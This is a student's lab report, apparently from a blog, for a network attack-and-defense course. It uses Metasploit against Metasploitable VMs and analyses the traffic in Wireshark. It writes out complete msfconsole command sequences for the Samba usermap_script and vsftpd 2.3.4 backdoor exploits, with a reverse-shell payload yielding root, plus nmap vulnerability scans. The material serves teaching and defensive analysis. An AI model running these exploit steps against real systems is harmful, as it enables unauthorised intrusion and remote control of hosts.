20232831 袁思承 2023-2024-2 《网络攻防实践》第7次作业

20232831袁思承

已于 2024-04-26 16:34:57 修改

阅读量940

点赞数 28

文章标签：网络 web安全安全

于 2024-04-25 17:18:26 首次发布

本文链接：https://blog.csdn.net/qq_53198713/article/details/138182025

版权

20232831袁思承2023-2024-2 《网络攻防实践》第7次作业

1.实验内容

1、使用Metasploit进行Linux远程渗透攻击

任务：使用Metasploit渗透测试软件，攻击Linux靶机上的Samba服务Usermap_script安全漏洞，获取目标Linux靶机的主机访问权限。实践步骤如下：

①启动Metasploit软件，可根据个人喜好使用msfconsole、msfgui、msfweb之一；
②使用exploit：exploit/multi/samba/usermap_script渗透攻击模块；
③选择攻击PAYLOAD为远程shell，（正向或反向连接均可）；
④设置渗透攻击参数（RHOST，LHOST，TARGET等）；
⑤执行渗透攻击；
⑥查看是否正确得到远程Shell，并查看获得的权限。

2、实践作业：攻防对抗实践

攻击方：使用 Metasploit ，选择 Metasploitable靶机中发现的漏洞进行渗透攻击，获得远程控制权，并尝试进一步获得root权限。

防守方：使用 tcpdump/wireshark/snort 监听获得网络攻击的数据包文件，结合 wireshark/snort分析攻击过程，获得攻击者的IP、目标IP和端口、攻击发起时间、攻击利用漏洞、使用Shellcode、以及成功之后在命令行输入的信息。

2.实验过程

1、使用Metasploit进行Linux远程渗透攻击

虚拟机名称	IP地址
Kali-Linux攻击机	192.168.200.4
Metasploitable_ubuntu靶机	192.168.200.123

首先对攻击机和靶机进行互ping，检查连通性
在这里插入图片描述

在Kali攻击机中使用以下命令打开Metasploit工具

msfconsole

在这里插入图片描述
本次实验选择了exploit：exploit/multi/samba/usermap_script渗透攻击模块，因此先使用search对该模块进行查找

search usermap_script

在这里插入图片描述
根据提示，输入use 0 or use exploit/multi/samba/usermap_script均可启动该攻击模块

打开攻击模块后，与上次实验一样，使用以下代码先查看攻击载荷

show payloads

在这里插入图片描述

使用以下代码选择反弹攻击载荷（序号20）

set payload cmd/unix/reverse
#或者直接使用序号进行设置
set payload 20

在这里插入图片描述
使用以下代码查看需要配置的参数

show options

在这里插入图片描述
根据show options，进行对应参数的设置，并重新show options进行检查，代码如下：

set LHOST 192.168.200.4
set RHOST 192.168.200.123
show options

在这里插入图片描述
输入攻击命令进行攻击，可以发现攻击成功，能够获取到靶机的shell界面，且权限为root

exploit

在这里插入图片描述
查看ip，确定是靶机Metasploitable_ubuntu

攻击成功！

2、实践作业：攻防对抗实践

由我和同学祝浩宣完成这部分攻防实验。

①攻击实验

虚拟机名称	IP地址
Kali-Linux攻击机（袁思承）	192.168.137.22
Metasploitable_ubuntu靶机（祝浩宣）	192.168.137.62

首先，仍然是检验二者之间的连通性
在这里插入图片描述

使用以下命令进行目标主机（靶机）的漏洞扫描

sudo nmap -sV 192.168.137.62

在这里插入图片描述
使用以下命令进行目标主机存在漏洞的扫描，发现多个漏洞，例如CVE编号为2014-0224、2014-3566的漏洞等等

sudo nmap --script vuln 192.168.137.62

在这里插入图片描述

攻击与上述实验一致，进行如下：

msfconsole
use exploit/multi/samba/usermap_script
show payloads
set payload cmd/unix/reverse
set LHOST 192.168.137.22
set RHOST 192.168.137.62
show options
exploit

攻击成功如下：
在这里插入图片描述

②防御实验

虚拟机名称	IP地址
Kali-Linux攻击机（祝浩宣）	192.168.1.107
Metasploitable_ubuntu靶机（袁思承）	192.168.1.105

防御实验只需要在wireshark中进行监听即可，因此较为简单。可以输入以下代码进行数据包的筛选，结果如下：

ip.addr == 192.168.1.107 && ip.addr == 192.168.1.105

在这里插入图片描述
跟踪SMB的TCP流，可以看到攻击者为192.168.1.107，且从4444号端口进行攻击渗透，其余漏洞信息也可查看到

跟踪TCP流，可以查看到shell的内容

防御结束！

③实验新要求，使用vsftp漏洞

攻击部分

虚拟机名称	IP地址
Kali-Linux攻击机（袁思承）	192.168.126.201
Metasploitable_ubuntu靶机（祝浩宣）	192.168.126.192

由于老师要求需要在攻防中使用vsftp漏洞进行渗透攻击，故再次实验如下：
首先，打开Metasploit

msfconsole

输入以下命令进行vsftp渗透攻击

use exploit/unix/ftp/vsftpd_234_backdoor
set LHOST 192.168.126.201
set RHOST 192.168.126.192
show options
exploit

在这里插入图片描述
输入攻击，成功获取shell

输入以下命令，进入usr文件夹下，创建一个名为ysciscoming的文件夹。

攻击成功！

防御部分
打开kali的wireshark，进行监测
输入以下内容进行包的过滤

ip.addr == 192.168.126.201 && ip.addr == 192.168.126.192

能发现大部分是TCP流，少部分是FTP流
在这里插入图片描述
首先查看攻击时间（不是第一次做的时候的攻击事件，当时忘记截图时间了=。=，重做了次）

查看以下内容，可以得知攻击者使用VSFTPD进行了攻击
在这里插入图片描述
查看一下内容可以得知攻击方在shell上输入的内容

尤其是对方在temp下创建了一个名为zhuhaoxuan的文件夹

查看自己的靶机，发现文件夹zhuhaoxuan存在

防御结束！

3.学习中遇到的问题及解决

本次实验与上次实验雷同，只是将Windows靶机换成了Linux，所以实验非常顺利。

4.学习感悟、思考等

通过本次实验，我进一步学习了如何使用msfconsole工具进行对靶机的漏洞攻击，学习了如何在Linux系统上攻击和防御他人来自exploit：exploit/multi/samba/usermap_script渗透攻击模块的这一攻击和unix/ftp/vsftpd_234_backdoor的vsftp攻击，收获更进一步。